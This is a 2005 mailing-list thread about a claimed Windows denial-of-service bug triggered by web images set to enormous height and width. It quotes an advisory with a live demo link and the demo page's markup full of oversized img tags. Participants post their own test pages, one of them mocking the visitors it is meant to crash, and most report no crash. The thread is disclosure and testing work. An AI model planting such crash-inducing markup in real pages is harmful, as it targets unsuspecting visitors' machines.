http://www.preblelaw.net/images/sa/wallpapers/PovRayMan-Mario2-2-3200x120=
0.png" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://inic=
ia.es/de/ger/fvwm2/escritorio-3200.png" height=3D"9999999" width=3D"99999=
99"><br /><img src=3D"http://www.nuwen.net/download/northdesk.png" height=
=3D"9999999" width=3D"9999999"><br /><img src=3D"http://free.house.cx/~wi=
lliam/backgrounds/thelakes-3200x1200-001.jpg" height=3D"9999999" width=3D=
"9999999"><br /><img src=3D"http://xxlwallpapers.com/Download/liquid2-320=
0x1200.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http:/=
/www.dreamshade.net/gentoo/wps/gwp02-3200x1200.jpg" height=3D"9999999" wi=
dth=3D"9999999"><br /><img src=3D"http://www.poopinmymouth.com/process/ch=
aracter_process/desktop.jpg" height=3D"9999999" width=3D"9999999"><br /><=
img src=3D"http://carol.gimp.org/gallery/images/2004-oscon_mntshasta-big.=
jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://dklfjd=
sk.net/lol.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"ht=
tp://f00f.microsoft.com/lol.jpg" height=3D"9999999" width=3D"9999999"><br=
/><img src=3D"http://fshkjdhfds.net/lol.jpg" height=3D"9999999" width=3D=
"9999999"><br /><img src=3D"http://www.google.com/intl/en/images/logo.gif=
" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://us.i1.yim=
g.com/us.yimg.com/i/us/av/logo.gif" height=3D"9999999" width=3D"9999999">=
<br /><img src=3D"http://www.livejournal.com/userpic/23828019/887477" hei=
ght=3D"9999999" width=3D"9999999"><br /><img src=3D"http://www.luther.k12=
=2Ewi.us/images/Knight%20-%20Transparent%20Background-INVERTED.gif" heigh=
t=3D"9999999" width=3D"9999999"><br /><img src=3D"http://pics.livejournal=
=2Ecom/subbes/pic/00013t5s/s640x480" height=3D"9999999" width=3D"9999999"=
><br /><img src=3D"http://us.a1.yimg.com/us.yimg.com/i/ww/beta/y3.gif" he=
ight=3D"9999999" width=3D"9999999"></td></tr>
<tr bgcolor=3D"#aaaaaa"><td align=3D'left' class=3D'comments'>
<a href=3D"http://www.livejournal.com/users/deeplolz/339.html">link</a></=
td><td align=3D'right' class=3D'comments'><b><a href=3D"http://www.livejo=
urnal.com/users/deeplolz/339.html">3 comments</a></b>|<a href=3D"http://w=
ww.livejournal.com/users/deeplolz/339.html?mode=3Dreply">post comment</a>=
</td></tr></table></td></tr></table><p>
<table cellpadding=3D"2" cellspacing=3D"0"
border=3D"0"
summary=3D"">
<tr><td bgcolor=3D"#000000">
<table cellpadding=3D"3" cellspacing=3D"0"
border=3D"0"
summary=3D"">
<tr>
<td align=3D"center" class=3D"index">navigation</td>
</tr>

<tr>
<td bgcolor=3D"********" align=3D"center">
<table cellspacing=3D"0"
cellpadding=3D"0"
border=3D"0"
summary=3D"">
<tr>
<td class=3D"meta">[</td>
<td class=3D"meta" align=3D"right"><b>viewing</b></td>
<td class=3D"meta" align=3D"center">|</td>
<td class=3D"meta">most recent entries</td>
<td class=3D"meta">]</td>
</tr>
</table></td></tr></table></table>
</div>

<p>
</body>
</html>
--------------000106050306060300060900--

Randy

22/04/05, 18:55

I just tested it out on Windows XP sp2, firefox 1.0.3 and IE6

No crash...

-Randy

On Thu, 21 Apr 2005, patrick wrote:

> Ok everyone, someone sent me a copy of the site which was the link that
> was originally sent with the vulnerability. Looking closer, it seems
> that it may not be that the extremely large height and width properties
> of the image in a site is what is causing the crash. However, I have not
> had time to test it out, I will in a little bit, I need to finish a few
> things.
>
> Here is the full page source (it's in the attachment). This is what I
> was talking about though. Notice this in the page source:
>
> <code>
> 
> </script>
> </code>
>
> The site also has this:
>
> <code>
>
> <img src="http://home.comcast.net/~squaresoft0/internet.jpg" height="9999999" width=
> "9999999"><br /><img src="http://home.comcast.net/~squaresoft0/internet.jpg" height="
> 9999999" width="9999999">
>
> </code>
>
> Now, I will try setting up a site with just that code, and then a site
> with both, and see what happens.
>
> I only briefly looked at the page source, so there may be more. Tell me
> what you guys find.
>
> Jesse Morgan wrote:
>
>> Yes, it was SP2. My values were at 50000000 or something similar. I also
>> created a 50000x50000 gif and tried that, still no luck.
>> Unfortunately I didn't get my hands on the code.
>> Also a friend's system rebooted after a bsod (he has an ATI video card
>> and I have on-board video on a laptop)
>>
>> patrick wrote:
>>
>>> Hmm, don't think so, though, you said it crashed your computer... was it
>>> XP SP2? It sounds like it later in your email but I'm not sure... it's
>>> quite interesting. Possibly his site had a different code than the one
>>> you and I set up? He didn't go into much detail about the code except
>>> that the "height" and "width" properties should be an enourmous amount.
>>> Did you by any chance get the page source or no?
>>
>>> Jesse Morgan wrote:
>>
>>
>>>> His site was up when I got the email and it did crash my computer.
>>>> Livejorunal locked his account a few hours later.
>>>> I too tried creating the exploit myself a few days later (windows xp
>>>> sp2) and it failed to work. Maybe Microsoft somehow got a patch
>>>> installed without us knowing?
>>>>
>>>> patrick wrote:
>>>>
>>>>
>>>>> Andrew wrote:
>>>>
>>>>
>>>>>> Alpha-Pi-Omicron Pi-Alpha-Nu-Tau-Omicron-C?
>>>>>> Kappa-Alpha-Kappa-Omicron-Delta-Alpha-Iota-Mu-Omicron-Nu-Omicron-C?
>>>>>> __ ___ __ _____ _ _
>>>>>> ___ _ _
>>>>>> / / /___\/ // _ / /\ /(_) __ _| |__ / __\___ _ _ _ __
>>>>>> ___(_) |
>>>>>> / / // // / \// / / /_/ / |/ _` | '_ \ / / / _ \| | | | '_ \ /
>>>>>> __| | |
>>>>>> / /___/ \_// /___/ //\ / __ /| | (_| | | | | / /__| (_) | |_| | | | |
>>>>>> (__| | |
>>>>>> \____/\___/\____/____/ \/ /_/ |_|\__, |_| |_| \____/\___/ \__,_|_|
>>>>>> |_|\___|_|_|
>>>>>>
>>>>>> |___/
>>>>>> Overview
>>>>>>
>>>>>> There exists a vulnerabilility in the way Microsoft Windows handles
>>>>>> the rendering
>>>>>> of images. By resizing an image with html properties to an extremely
>>>>>> large size an
>>>>>> attacker may perform a very quick and effective denial of service
>>>>>> attack upon a
>>>>>> victim.
>>>>>>
>>>>>>
>>>>>> I. Description and PoC
>>>>>>
>>>>>> Only clients running Internet Explorer, Firefox, or Avant in Windows
>>>>>> 2k or XP have
>>>>>> been confirmed to be vulnerable. Opera does it's own image rendering
>>>>>> and is not
>>>>>> ulnerable to this method of attack. The status of Longhorn is not
>>>>>> known. Other
>>>>>> operating systems, including Mac OS X and Linux are not vulnerable.
>>>>>>
>>>>>> You may point your browser to this URL to see a live demonstration of
>>>>>> this attack:
>>>>>>
>>>>>> http://www.livejournal.com/users/deeplolz
>>>>>>
>>>>>> This may cause an instant reboot or bluescreen detailing a problem
>>>>>> with your video
>>>>>> drivers. Other possibilities include an extended period of poor
>>>>>> performance until
>>>>>> next reboot, a short to medium period of nonfunctionality or a crash
>>>>>> of the
>>>>>> browser.
>>>>>>
>>>>>>
>>>>>> II. Impact
>>>>>>
>>>>>> Because this attack can be performed anywhere an img src is allowed,
>>>>>> there are
>>>>>> many forums including blogs, messageboards, and others which are
>>>>>> vulnerable. It
>>>>>> is hopeful that Microsoft will release a patch for this attack as
>>>>
>>>> soon as
>>>>
>>>>>> possible.
>>>>>>
>>>>>>
>>>>>> III. Solution
>>>>>>
>>>>>> Until a patch is released you are advised to use the Opera web
>>>>>> browser. It might
>>>>>> also be possible to write a script for the Firefox "GreaseMonkey"
>>>>>> extension which
>>>>>> performs a workaround for this attack. Such as setting height and
>>>>>> width of images
>>>>>> to 5000 pixels if they are currently set to render at over 5000.
>>>>>>
>>>>>>
>>>>>> Very special shouts: Girlvinyl, Hepkitten, Confkids, and Frienditto
>>>>>> (Come back!!!
>>>>>> We need you badly, FD!)
>>>>>>
>>>>>> Shouts:
>>>>>> LJD, LJ-Zeera, Encyclopedia Dramatica, Lulz News Network, Project
>>>>>> Mayhem, Amalea,
>>>>>> Wednesday Night Karate Explosion, The Gundanium Alloys Manufacturers
>>>>>> Association,
>>>>>> Richmond Flash Mob Society, RVA_BS, RVA_FYAD, Brad Fitzpatrick, Mena
>>>>>> Trott, SALJ,
>>>>>> The International Department of Internet Security, #telconinjas,
>>>>>> undernet #drugs,
>>>>>> The Kadaitcha Dancers, psychotic vegans, Warren Ellis, and pro-ana
>>>>>> preteen girls.
>>>>>>
>>>>> Hmm, a few things.
>>>>
>>>>> 1) That site is down. Has been down ever since I got this email.
>>>>> 2) I created a site with this HTML code:
>>>>
>>>>> /././././././././././././
>>>>
>>>>> <html>
>>>>> <body>
>>>>> <p>If you are using IE, YOU SUCK! Just kidding.<br>
>>>>> If you're in Window$ though, this should crash your puter<br>
>>>>> or give you a BSOD. HAVE FUN BUDDY! MUA HA HA!</p>
>>>>
>>>>> <img src="http://thepcelement.com/hardware/neowinscreenie.jpg"
>>>>> height="99999999999999999999999999999999999999999999999999 91"
>>>>> width="99999999999999999999999999999999999999999999999999 9999999999999991">
>>>>
>>>>> </body>
>>>>> </html>
>>>>
>>>>> /./././././././././././
>>>>
>>>>> Yet no crash, this was on my Dad's PC running Window$ XP, no SP2,
>>>>> Firefox and Internet Exploder, the image was all white, no slowdown or
>>>>> anything.
>>>>
>>>>> Can you tell me what I'm doing wrong and give me the source to that
>> page
>>>>> you had up as a live demonstration? I'm interested to see more about
>>>>> this vulnerability.
>>>>
>>>>> Thanks for posting, have a nice day,
>>
>